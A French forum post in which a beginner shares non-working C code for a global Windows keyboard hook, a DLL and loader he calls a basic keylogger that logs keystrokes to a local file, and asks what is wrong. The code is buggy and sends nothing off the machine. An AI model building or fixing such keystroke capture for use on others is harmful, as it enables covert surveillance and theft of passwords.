Salut, je commence seulement à programmer avec l'api et j'ai voulu comprendre comment créer un hook clavier basique.
J'ai lu le tutoriel http://tcharles.developpez.com/simul/#hooks et j'ai essayé de créer un keylogger basique. Mais ca ne fonctionne pas. Voici le code :

Dll
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

FILE *memo;
HHOOK HookClavier;
HINSTANCE HInst;

//Procédure du Hook
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam){
             // Fichier dans lequel j'enregistre les touches tappées par l'utilisateur
	memo = fopen("C:\\hook.txt", "a");  
		//if(wParam == WM_KEYDOWN){
			fprintf(memo, "%c", toascii((int) lParam));
		//}
		return CallNextHookEx(HookClavier,nCode,wParam,lParam);
	}

// Fonction qui active le hook
void ActiveHook()
{
            HookClavier = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) HookProc, HInst, 0);
}

//Désactive le hook
void EndHook(){
	UnhookWindowsHookEx(HookClavier);
}

// Fonction principale (exportée par la dll)
int WINAPI WinMain(HINSTANCE hInstance,  HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ){
	
             HInst = hInstance;
	int i;
	i = 1;
	
             ActiveHook();
	while(i){          // boucle infinie.  Je n'ai pas mis de condition pour la fin du hook car je n'arrive déjà pas à l'activer.
	}
	EndHook();

	return 0;
}
Voici ensuite le code de l'executable :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "stdafx.h"
#include "stdlib.h"
#include "windows.h"
#include "windowsx.h"

void main(){
             typedef void (WINAPI *DLL_Function_TestFunction) (void);
	DLL_Function_TestFunction WinMain;     // handle de la farproc de la dll
	HMODULE hDLL;             // handle de la dll


	hDLL = LoadLibrary("C:\\temp\\hookClavier.dll");	
	WinMain = (DLL_Function_TestFunction)GetProcAddress(hDLL,"WinMain");
	if (WinMain!=NULL){ // Jusque là, ca marche, et la dll est chargée, et la fonction aussi ( enfin, elles sont non-nulles ).
		WinMain();
		system("pause");
	}
}
Voilà, si quelqu'un peut passer minutes pour m'engueuler pour la façon dont je code comme un sale et me dire où sont les principales erreurs, ce serait super sympa.

Merci.